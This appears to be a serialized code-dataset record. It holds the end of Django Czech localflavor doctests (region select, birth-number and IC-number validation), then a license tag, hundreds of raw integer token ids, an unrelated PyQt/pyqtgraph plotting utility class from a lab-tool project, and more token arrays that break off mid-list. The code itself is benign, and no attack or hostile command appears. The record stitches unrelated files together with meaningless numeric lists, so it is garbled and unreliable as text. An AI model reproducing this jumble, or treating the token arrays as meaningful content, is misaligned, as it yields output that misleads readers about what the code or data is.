u'<select name="regions">\n<option value="PR">Prague</option>\n<option value="CE">Central Bohemian Region</option>\n<option value="SO">South Bohemian Region</option>\n<option value="PI">Pilsen Region</option>\n<option value="CA">Carlsbad Region</option>\n<option value="US">Usti Region</option>\n<option value="LB">Liberec Region</option>\n<option value="HK">Hradec Region</option>\n<option value="PA">Pardubice Region</option>\n<option value="VY">Vysocina Region</option>\n<option value="SM">South Moravian Region</option>\n<option value="OL">Olomouc Region</option>\n<option value="ZL">Zlin Region</option>\n<option value="MS">Moravian-Silesian Region</option>\n</select>'
# CZBirthNumberField ########################################################
>>> from django.contrib.localflavor.cz.forms import CZBirthNumberField
>>> f = CZBirthNumberField()
>>> f.clean('880523/1237')
u'880523/1237'
>>> f.clean('8805231237')
u'8805231237'
>>> f.clean('880523/000')
u'880523/000'
>>> f.clean('880523000')
u'880523000'
>>> f.clean('882101/0011')
u'882101/0011'
>>> f.clean('880523/1237', 'm')
u'880523/1237'
>>> f.clean('885523/1231', 'f')
u'885523/1231'
>>> f.clean('123456/12')
Traceback (most recent call last):
...
ValidationError: [u'Enter a birth number in the format XXXXXX/XXXX or XXXXXXXXXX.']
>>> f.clean('123456/12345')
Traceback (most recent call last):
...
ValidationError: [u'Enter a birth number in the format XXXXXX/XXXX or XXXXXXXXXX.']
>>> f.clean('12345612')
Traceback (most recent call last):
...
ValidationError: [u'Enter a birth number in the format XXXXXX/XXXX or XXXXXXXXXX.']
>>> f.clean('12345612345')
Traceback (most recent call last):
...
ValidationError: [u'Enter a birth number in the format XXXXXX/XXXX or XXXXXXXXXX.']
>>> f.clean('881523/0000', 'm')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid birth number.']
>>> f.clean('885223/0000', 'm')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid birth number.']
>>> f.clean('881223/0000', 'f')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid birth number.']
>>> f.clean('886523/0000', 'f')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid birth number.']
>>> f.clean('880523/1239')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid birth number.']
>>> f.clean('8805231239')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid birth number.']
>>> f.clean('990101/0011')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid birth number.']
# CZICNumberField ########################################################
>>> from django.contrib.localflavor.cz.forms import CZICNumberField
>>> f = CZICNumberField()
>>> f.clean('12345679')
u'12345679'
>>> f.clean('12345601')
u'12345601'
>>> f.clean('12345661')
u'12345661'
>>> f.clean('12345610')
u'12345610'
>>> f.clean('1234567')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid IC number.']
>>> f.clean('12345660')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid IC number.']
>>> f.clean('12345600')
Traceback (most recent call last):
...
ValidationError: [u'Enter a valid IC number.']
"""
|
bsd-3-clause
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
6496,
367,
314,
5914,
15,
320,
696,
276,
4271,
15,
445,
58,
8204,
16424,
199,
199,
2219,
275,
519,
624,
199,
3,
445,
58,
6564,
279,
3034,
792,
10371,
19054,
199,
199,
6071,
687,
1639,
14,
2828,
14,
320,
696,
276,
4271,
14,
16823,
14,
3351,
492,
445,
58,
6564,
279,
3034,
792,
199,
6071,
289,
275,
445,
58,
6564,
279,
3034,
792,
342,
199,
6071,
289,
14,
3118,
360,
1349,
16981,
88,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
2963,
279,
1233,
315,
314,
1475,
5787,
2483,
503,
5787,
1323,
56,
14,
418,
199,
6071,
289,
14,
3118,
360,
32624,
1643,
358,
199,
85,
7,
32624,
1643,
7,
199,
6071,
289,
14,
3118,
360,
29702,
17163,
358,
199,
85,
7,
29702,
614,
7,
199,
6071,
289,
14,
3118,
360,
13261,
358,
199,
85,
7,
13261,
7,
199,
6071,
289,
14,
3118,
360,
19060,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
2963,
279,
1233,
315,
314,
1475,
5787,
2483,
503,
5787,
1323,
56,
14,
418,
199,
6071,
289,
14,
3118,
360,
4321,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
2963,
279,
1233,
315,
314,
1475,
5787,
2483,
503,
5787,
1323,
56,
14,
418,
199,
6071,
289,
14,
3118,
360,
4288,
841,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
2963,
279,
1233,
315,
314,
1475,
5787,
2483,
503,
5787,
1323,
56,
14,
418,
199,
199,
3,
445,
58,
10708,
5446,
24515,
381,
199,
199,
6071,
687,
1639,
14,
2828,
14,
320,
696,
276,
4271,
14,
16823,
14,
3351,
492,
445,
58,
10708,
5446,
199,
6071,
336,
275,
445,
58,
10708,
5446,
342,
199,
6071,
336,
14,
3352,
360,
11963,
297,
283,
1481,
358,
199,
85,
7601,
2416,
536,
628,
11963,
14559,
78,
28,
1422,
574,
628,
3311,
1743,
48,
2527,
310,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
2089,
1743,
25290,
5088,
426,
2664,
290,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
4118,
1743,
30534,
5088,
426,
2664,
290,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
2252,
1743,
48,
382,
2464,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
3263,
1743,
16034,
478,
4087,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
1668,
1743,
53,
270,
73,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
11568,
1743,
13009,
1235,
2761,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
40,
43,
1743,
40,
345,
7778,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
8470,
1743,
48,
1005,
456,
1885,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
54,
57,
1743,
54,
588,
679,
13765,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
4029,
1743,
30534,
603,
269,
7194,
290,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
2228,
1743,
47,
320,
573,
947,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
58,
44,
1743,
58,
472,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
3053,
1743,
45,
269,
7194,
290,
13,
51,
441,
6214,
22240,
1108,
1422,
3072,
78,
1108,
2416,
3524,
199,
199,
3,
445,
58,
29229,
3259,
792,
24515,
199,
199,
6071,
687,
1639,
14,
2828,
14,
320,
696,
276,
4271,
14,
16823,
14,
3351,
492,
445,
58,
29229,
3259,
792,
199,
6071,
289,
275,
445,
58,
29229,
3259,
792,
342,
199,
6071,
289,
14,
3118,
360,
24,
13027,
1789,
15,
713,
1401,
358,
199,
85,
7,
24,
13027,
1789,
15,
713,
1401,
7,
199,
6071,
289,
14,
3118,
360,
24,
13027,
16909,
1401,
358,
199,
85,
7,
24,
13027,
16909,
1401,
7,
199,
6071,
289,
14,
3118,
360,
24,
13027,
1789,
15,
1493,
358,
199,
85,
7,
24,
13027,
1789,
15,
1493,
7,
199,
6071,
289,
14,
3118,
360,
24,
13027,
1789,
1493,
358,
199,
85,
7,
24,
13027,
1789,
1493,
7,
199,
6071,
289,
14,
3118,
360,
1299,
2025,
614,
15,
20679,
358,
199,
85,
7,
1299,
2025,
614,
15,
20679,
7,
199,
6071,
289,
14,
3118,
360,
24,
13027,
1789,
15,
713,
1401,
297,
283,
77,
358,
199,
85,
7,
24,
13027,
1789,
15,
713,
1401,
7,
199,
6071,
289,
14,
3118,
360,
1299,
1229,
1789,
15,
713,
2192,
297,
283,
70,
358,
199,
85,
7,
1299,
1229,
1789,
15,
713,
2192,
7,
199,
6071,
289,
14,
3118,
360,
19060,
15,
713,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
21036,
1329,
315,
314,
1475,
5787,
13933,
15,
6873,
503,
5787,
6873,
13933,
14,
418,
199,
6071,
289,
14,
3118,
360,
19060,
15,
13261,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
21036,
1329,
315,
314,
1475,
5787,
13933,
15,
6873,
503,
5787,
6873,
13933,
14,
418,
199,
6071,
289,
14,
3118,
360,
19060,
713,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
21036,
1329,
315,
314,
1475,
5787,
13933,
15,
6873,
503,
5787,
6873,
13933,
14,
418,
199,
6071,
289,
14,
3118,
360,
19060,
13261,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
21036,
1329,
315,
314,
1475,
5787,
13933,
15,
6873,
503,
5787,
6873,
13933,
14,
418,
199,
6071,
289,
14,
3118,
360,
1299,
1046,
1789,
15,
993,
297,
283,
77,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
1686,
21036,
1329,
14,
418,
199,
6071,
289,
14,
3118,
360,
15889,
11583,
15,
993,
297,
283,
77,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
1686,
21036,
1329,
14,
418,
199,
6071,
289,
14,
3118,
360,
1299,
713,
1789,
15,
993,
297,
283,
70,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
6496,
367,
314,
5914,
15,
320,
696,
276,
4271,
15,
445,
58,
8204,
16424,
199,
199,
2219,
275,
519,
624,
199,
3,
445,
58,
6564,
279,
3034,
792,
10371,
19054,
199,
199,
6071,
687,
1639,
14,
2828,
14,
320,
696,
276,
4271,
14,
16823,
14,
3351,
492,
445,
58,
6564,
279,
3034,
792,
199,
6071,
289,
275,
445,
58,
6564,
279,
3034,
792,
342,
199,
6071,
289,
14,
3118,
360,
1349,
16981,
88,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
2963,
279,
1233,
315,
314,
1475,
5787,
2483,
503,
5787,
1323,
56,
14,
418,
199,
6071,
289,
14,
3118,
360,
32624,
1643,
358,
199,
85,
7,
32624,
1643,
7,
199,
6071,
289,
14,
3118,
360,
29702,
17163,
358,
199,
85,
7,
29702,
614,
7,
199,
6071,
289,
14,
3118,
360,
13261,
358,
199,
85,
7,
13261,
7,
199,
6071,
289,
14,
3118,
360,
19060,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
2963,
279,
1233,
315,
314,
1475,
5787,
2483,
503,
5787,
1323,
56,
14,
418,
199,
6071,
289,
14,
3118,
360,
4321,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
2963,
279,
1233,
315,
314,
1475,
5787,
2483,
503,
5787,
1323,
56,
14,
418,
199,
6071,
289,
14,
3118,
360,
4288,
841,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
2963,
279,
1233,
315,
314,
1475,
5787,
2483,
503,
5787,
1323,
56,
14,
418,
199,
199,
3,
445,
58,
10708,
5446,
24515,
381,
199,
199,
6071,
687,
1639,
14,
2828,
14,
320,
696,
276,
4271,
14,
16823,
14,
3351,
492,
445,
58,
10708,
5446,
199,
6071,
336,
275,
445,
58,
10708,
5446,
342,
199,
6071,
336,
14,
3352,
360,
11963,
297,
283,
1481,
358,
199,
85,
7601,
2416,
536,
628,
11963,
14559,
78,
28,
1422,
574,
628,
3311,
1743,
48,
2527,
310,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
2089,
1743,
25290,
5088,
426,
2664,
290,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
4118,
1743,
30534,
5088,
426,
2664,
290,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
2252,
1743,
48,
382,
2464,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
3263,
1743,
16034,
478,
4087,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
1668,
1743,
53,
270,
73,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
11568,
1743,
13009,
1235,
2761,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
40,
43,
1743,
40,
345,
7778,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
8470,
1743,
48,
1005,
456,
1885,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
54,
57,
1743,
54,
588,
679,
13765,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
4029,
1743,
30534,
603,
269,
7194,
290,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
2228,
1743,
47,
320,
573,
947,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
58,
44,
1743,
58,
472,
22240,
1108,
1422,
3072,
78,
28,
1422,
574,
628,
3053,
1743,
45,
269,
7194,
290,
13,
51,
441,
6214,
22240,
1108,
1422,
3072,
78,
1108,
2416,
3524,
199,
199,
3,
445,
58,
29229,
3259,
792,
24515,
199,
199,
6071,
687,
1639,
14,
2828,
14,
320,
696,
276,
4271,
14,
16823,
14,
3351,
492,
445,
58,
29229,
3259,
792,
199,
6071,
289,
275,
445,
58,
29229,
3259,
792,
342,
199,
6071,
289,
14,
3118,
360,
24,
13027,
1789,
15,
713,
1401,
358,
199,
85,
7,
24,
13027,
1789,
15,
713,
1401,
7,
199,
6071,
289,
14,
3118,
360,
24,
13027,
16909,
1401,
358,
199,
85,
7,
24,
13027,
16909,
1401,
7,
199,
6071,
289,
14,
3118,
360,
24,
13027,
1789,
15,
1493,
358,
199,
85,
7,
24,
13027,
1789,
15,
1493,
7,
199,
6071,
289,
14,
3118,
360,
24,
13027,
1789,
1493,
358,
199,
85,
7,
24,
13027,
1789,
1493,
7,
199,
6071,
289,
14,
3118,
360,
1299,
2025,
614,
15,
20679,
358,
199,
85,
7,
1299,
2025,
614,
15,
20679,
7,
199,
6071,
289,
14,
3118,
360,
24,
13027,
1789,
15,
713,
1401,
297,
283,
77,
358,
199,
85,
7,
24,
13027,
1789,
15,
713,
1401,
7,
199,
6071,
289,
14,
3118,
360,
1299,
1229,
1789,
15,
713,
2192,
297,
283,
70,
358,
199,
85,
7,
1299,
1229,
1789,
15,
713,
2192,
7,
199,
6071,
289,
14,
3118,
360,
19060,
15,
713,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
21036,
1329,
315,
314,
1475,
5787,
13933,
15,
6873,
503,
5787,
6873,
13933,
14,
418,
199,
6071,
289,
14,
3118,
360,
19060,
15,
13261,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
21036,
1329,
315,
314,
1475,
5787,
13933,
15,
6873,
503,
5787,
6873,
13933,
14,
418,
199,
6071,
289,
14,
3118,
360,
19060,
713,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
21036,
1329,
315,
314,
1475,
5787,
13933,
15,
6873,
503,
5787,
6873,
13933,
14,
418,
199,
6071,
289,
14,
3118,
360,
19060,
13261,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
21036,
1329,
315,
314,
1475,
5787,
13933,
15,
6873,
503,
5787,
6873,
13933,
14,
418,
199,
6071,
289,
14,
3118,
360,
1299,
1046,
1789,
15,
993,
297,
283,
77,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
1686,
21036,
1329,
14,
418,
199,
6071,
289,
14,
3118,
360,
15889,
11583,
15,
993,
297,
283,
77,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
7,
8468,
282,
1686,
21036,
1329,
14,
418,
199,
6071,
289,
14,
3118,
360,
1299,
713,
1789,
15,
993,
297,
283,
70,
358,
199,
15905,
334,
2786,
8058,
1240,
2061,
304,
199,
1396,
199,
8172,
26,
359,
85,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
jithinbp/vLabtool-v0
|
v0/utilitiesClass.py
|
1
|
2985
|
import time,random,functools
import numpy as np
from PyQt4 import QtCore, QtGui
import pyqtgraph as pg
import pyqtgraph.opengl as gl
class utilitiesClass():
"""
This class contains methods that simplify setting up and running
an experiment.
"""
timers=[]
viewBoxes=[]
plots3D=[]
plots2D=[]
axisItems=[]
total_plot_areas=0
def __init__(self):
pass
def updateViews(self,plot):
for a in plot.viewBoxes:
a.setGeometry(plot.getViewBox().sceneBoundingRect())
a.linkedViewChanged(plot.plotItem.vb, a.XAxis)
def random_color(self):
c=QtGui.QColor(random.randint(20,255),random.randint(20,255),random.randint(20,255))
if np.average(c.getRgb())<150:
c=self.random_color()
return c
def add2DPlot(self,plot_area):
plot=pg.PlotWidget()
plot.setMinimumHeight(250)
plot_area.addWidget(plot)
plot.viewBoxes=[]
self.plots2D.append(plot)
return plot
def add3DPlot(self,plot_area):
plot3d = gl.GLViewWidget()
#gx = gl.GLGridItem();gx.rotate(90, 0, 1, 0);gx.translate(-10, 0, 0);self.plot.addItem(gx)
#gy = gl.GLGridItem();gy.rotate(90, 1, 0, 0);gy.translate(0, -10, 0);self.plot.addItem(gy)
gz = gl.GLGridItem();#gz.translate(0, 0, -10);
plot3d.addItem(gz);
plot3d.opts['distance'] = 40
plot3d.opts['elevation'] = 5
plot3d.opts['azimuth'] = 20
plot3d.setMinimumHeight(250)
plot_area.addWidget(plot3d)
self.plots3D.append(plot3d)
plot3d.plotLines3D=[]
return plot3d
def addCurve(self,plot,name='',col=(255,255,255),axis='left'):
#if(len(name)):curve = plot.plot(name=name)
#else:curve = plot.plot()
if(len(name)):curve = pg.PlotCurveItem(name=name)
else:curve = pg.PlotCurveItem()
plot.addItem(curve)
curve.setPen(color=col, width=1)
return curve
def rebuildLegend(self,plot):
return plot.addLegend(offset=(-10,30))
def addAxis(self,plot,**args):
p3 = pg.ViewBox()
ax3 = pg.AxisItem('right')
plot.plotItem.layout.addItem(ax3, 2, 3+len(self.axisItems))
plot.plotItem.scene().addItem(p3)
ax3.linkToView(p3)
p3.setXLink(plot.plotItem)
ax3.setZValue(-10000)
if args.get('label',False):
ax3.setLabel(args.get('label',False), color=args.get('color','#ffffff'))
plot.viewBoxes.append(p3)
p3.setGeometry(plot.plotItem.vb.sceneBoundingRect())
p3.linkedViewChanged(plot.plotItem.vb, p3.XAxis)
## Handle view resizing
Callback = functools.partial(self.updateViews,plot)
plot.getViewBox().sigStateChanged.connect(Callback)
self.axisItems.append(ax3)
return p3
def loopTask(self,interval,func,*args):
timer = QtCore.QTimer()
timerCallback = functools.partial(func,*args)
timer.timeout.connect(timerCallback)
timer.start(interval)
self.timers.append(timer)
return timer
def delayedTask(self,interval,func,*args):
timer = QtCore.QTimer()
timerCallback = functools.partial(func,*args)
timer.singleShot(interval,timerCallback)
self.timers.append(timer)
def displayDialog(self,txt=''):
QtGui.QMessageBox.about(self, 'Message', txt)
|
gpl-3.0
|
[
646,
900,
12,
2355,
12,
17869,
199,
646,
2680,
465,
980,
421,
199,
504,
14084,
20,
492,
10565,
12,
5928,
199,
646,
27149,
2180,
465,
10275,
199,
646,
27149,
2180,
14,
32477,
465,
6482,
421,
199,
533,
15841,
2543,
837,
199,
198,
624,
199,
198,
2765,
1021,
3509,
3102,
626,
15037,
4260,
1536,
436,
3879,
199,
198,
290,
11805,
14,
8299,
198,
624,
199,
198,
27386,
9811,
199,
198,
1345,
3532,
397,
9811,
199,
198,
13701,
19,
36,
9811,
199,
198,
13701,
18,
36,
9811,
199,
198,
3127,
7412,
9811,
199,
198,
2923,
63,
2798,
63,
32354,
29,
16,
199,
198,
318,
636,
826,
721,
277,
304,
507,
198,
1529,
421,
198,
318,
1678,
21180,
8,
277,
12,
2798,
304,
507,
198,
509,
282,
315,
5137,
14,
1345,
3532,
397,
26,
686,
198,
65,
14,
25559,
8,
2798,
14,
362,
2768,
3532,
1252,
10436,
8934,
316,
8252,
1012,
686,
198,
65,
14,
12751,
2768,
6970,
8,
2798,
14,
2798,
2081,
14,
18708,
12,
282,
14,
56,
11220,
9,
421,
198,
318,
2196,
63,
2326,
8,
277,
304,
507,
198,
67,
29,
10604,
14,
24387,
8,
2355,
14,
8393,
8,
1165,
12,
2299,
395,
2355,
14,
8393,
8,
1165,
12,
2299,
395,
2355,
14,
8393,
8,
1165,
12,
2299,
430,
507,
198,
692,
980,
14,
8536,
8,
67,
14,
362,
50,
4908,
1012,
28,
8251,
26,
686,
198,
67,
29,
277,
14,
2355,
63,
2326,
342,
507,
198,
1107,
286,
421,
198,
318,
1050,
18,
36,
10711,
8,
277,
12,
2798,
63,
6789,
304,
507,
198,
2798,
29,
4198,
14,
10711,
3339,
342,
507,
198,
2798,
14,
32608,
8436,
8,
7991,
9,
507,
198,
2798,
63,
6789,
14,
9475,
8,
2798,
9,
507,
198,
2798,
14,
1345,
3532,
397,
9811,
507,
198,
277,
14,
13701,
18,
36,
14,
740,
8,
2798,
9,
507,
198,
1107,
5137,
4388,
198,
318,
1050,
19,
36,
10711,
8,
277,
12,
2798,
63,
6789,
304,
507,
198,
2798,
19,
68,
275,
6482,
14,
2226,
2768,
3339,
342,
507,
198,
3,
20777,
275,
6482,
14,
2226,
7900,
2081,
7303,
20777,
14,
12873,
8,
2710,
12,
378,
12,
413,
12,
378,
2736,
20777,
14,
5275,
2801,
709,
12,
378,
12,
378,
2736,
277,
14,
2798,
14,
19798,
8,
20777,
9,
507,
198,
3,
4312,
275,
6482,
14,
2226,
7900,
2081,
7303,
4312,
14,
12873,
8,
2710,
12,
413,
12,
378,
12,
378,
2736,
4312,
14,
5275,
8,
16,
12,
446,
709,
12,
378,
2736,
277,
14,
2798,
14,
19798,
8,
4312,
9,
507,
198,
6838,
275,
6482,
14,
2226,
7900,
2081,
7303,
3,
6838,
14,
5275,
8,
16,
12,
378,
12,
446,
709,
2736,
507,
198,
2798,
19,
68,
14,
19798,
8,
6838,
2736,
507,
198,
2798,
19,
68,
14,
3291,
459,
5590,
418,
275,
6335,
507,
198,
2798,
19,
68,
14,
3291,
459,
32568,
418,
275,
959,
507,
198,
2798,
19,
68,
14,
3291,
459,
4651,
26720,
418,
275,
3388,
507,
198,
2798,
19,
68,
14,
32608,
8436,
8,
7991,
9,
507,
198,
2798,
63,
6789,
14,
9475,
8,
2798,
19,
68,
9,
507,
198,
277,
14,
13701,
19,
36,
14,
740,
8,
2798,
19,
68,
9,
507,
198,
2798,
19,
68,
14,
2798,
9863,
19,
36,
9811,
507,
198,
1107,
5137,
19,
68,
4388,
198,
318,
1050,
20966,
8,
277,
12,
2798,
12,
354,
4581,
761,
2687,
2299,
12,
2299,
12,
2299,
395,
3127,
534,
3039,
735,
507,
198,
3,
692,
8,
552,
8,
354,
2298,
11895,
275,
5137,
14,
2798,
8,
354,
29,
354,
9,
507,
198,
3,
2836,
26,
11895,
275,
5137,
14,
2798,
342,
507,
198,
692,
8,
552,
8,
354,
2298,
11895,
275,
10275,
14,
10711,
20966,
2081,
8,
354,
29,
354,
9,
507,
198,
2836,
26,
11895,
275,
10275,
14,
10711,
20966,
2081,
342,
507,
198,
2798,
14,
19798,
8,
11895,
9,
507,
198,
11895,
14,
409,
15597,
8,
2326,
29,
761,
12,
3462,
29,
17,
9,
507,
198,
1107,
15318,
421,
198,
318,
22110,
23439,
8,
277,
12,
2798,
304,
507,
198,
1107,
5137,
14,
525,
23439,
8,
2743,
26154,
709,
12,
1216,
430,
6905,
198,
318,
1050,
11220,
8,
277,
12,
2798,
12663,
589,
304,
507,
198,
80,
19,
275,
10275,
14,
2768,
3532,
342,
507,
198,
1219,
19,
275,
10275,
14,
11220,
2081,
360,
1019,
358,
507,
198,
2798,
14,
2798,
2081,
14,
4209,
14,
19798,
8,
1219,
19,
12,
499,
12,
650,
11,
552,
8,
277,
14,
3127,
7412,
430,
507,
198,
2798,
14,
2798,
2081,
14,
10436,
1252,
19798,
8,
80,
19,
9,
507,
198,
1219,
19,
14,
1073,
1378,
2768,
8,
80,
19,
9,
507,
198,
80,
19,
14,
409,
56,
3834,
8,
2798,
14,
2798,
2081,
9,
507,
198,
1219,
19,
14,
409,
58,
1110,
2801,
9943,
9,
507,
198,
692,
1249,
14,
362,
360,
1302,
297,
797,
304,
686,
198,
1219,
19,
14,
409,
4314,
8,
589,
14,
362,
360,
1302,
297,
797,
395,
3164,
29,
589,
14,
362,
360,
2326,
24205,
12596,
1333,
507,
198,
2798,
14,
1345,
3532,
397,
14,
740,
8,
80,
19,
9,
2742,
198,
80,
19,
14,
25559,
8,
2798,
14,
2798,
2081,
14,
18708,
14,
10436,
8934,
316,
8252,
1012,
507,
198,
80,
19,
14,
12751,
2768,
6970,
8,
2798,
14,
2798,
2081,
14,
18708,
12,
299,
19,
14,
56,
11220,
9,
507,
198,
309,
8690,
2455,
295,
30639,
11083,
198,
2806,
275,
9143,
14,
6672,
8,
277,
14,
873,
21180,
12,
2798,
9,
1057,
507,
198,
2798,
14,
362,
2768,
3532,
1252,
4093,
2223,
6970,
14,
2242,
8,
2806,
9,
507,
198,
277,
14,
3127,
7412,
14,
740,
8,
1219,
19,
9,
507,
198,
1107,
299,
19,
421,
198,
318,
4438,
4476,
8,
277,
12,
4284,
12,
1532,
19166,
589,
304,
686,
198,
7414,
275,
10565,
14,
49,
7929,
342,
686,
198,
7414,
2806,
275,
9143,
14,
6672,
8,
1532,
19166,
589,
9,
686,
198,
7414,
14,
2593,
14,
2242,
8,
7414,
2806,
9,
686,
198,
7414,
14,
928,
8,
4284,
9,
686,
198,
277,
14,
27386,
14,
740,
8,
7414,
9,
686,
198,
1107,
9715,
18118,
198,
318,
24725,
4476,
8,
277,
12,
4284,
12,
1532,
19166,
589,
304,
686,
198,
7414,
275,
10565,
14,
49,
7929,
342,
686
] |
[
900,
12,
2355,
12,
17869,
199,
646,
2680,
465,
980,
421,
199,
504,
14084,
20,
492,
10565,
12,
5928,
199,
646,
27149,
2180,
465,
10275,
199,
646,
27149,
2180,
14,
32477,
465,
6482,
421,
199,
533,
15841,
2543,
837,
199,
198,
624,
199,
198,
2765,
1021,
3509,
3102,
626,
15037,
4260,
1536,
436,
3879,
199,
198,
290,
11805,
14,
8299,
198,
624,
199,
198,
27386,
9811,
199,
198,
1345,
3532,
397,
9811,
199,
198,
13701,
19,
36,
9811,
199,
198,
13701,
18,
36,
9811,
199,
198,
3127,
7412,
9811,
199,
198,
2923,
63,
2798,
63,
32354,
29,
16,
199,
198,
318,
636,
826,
721,
277,
304,
507,
198,
1529,
421,
198,
318,
1678,
21180,
8,
277,
12,
2798,
304,
507,
198,
509,
282,
315,
5137,
14,
1345,
3532,
397,
26,
686,
198,
65,
14,
25559,
8,
2798,
14,
362,
2768,
3532,
1252,
10436,
8934,
316,
8252,
1012,
686,
198,
65,
14,
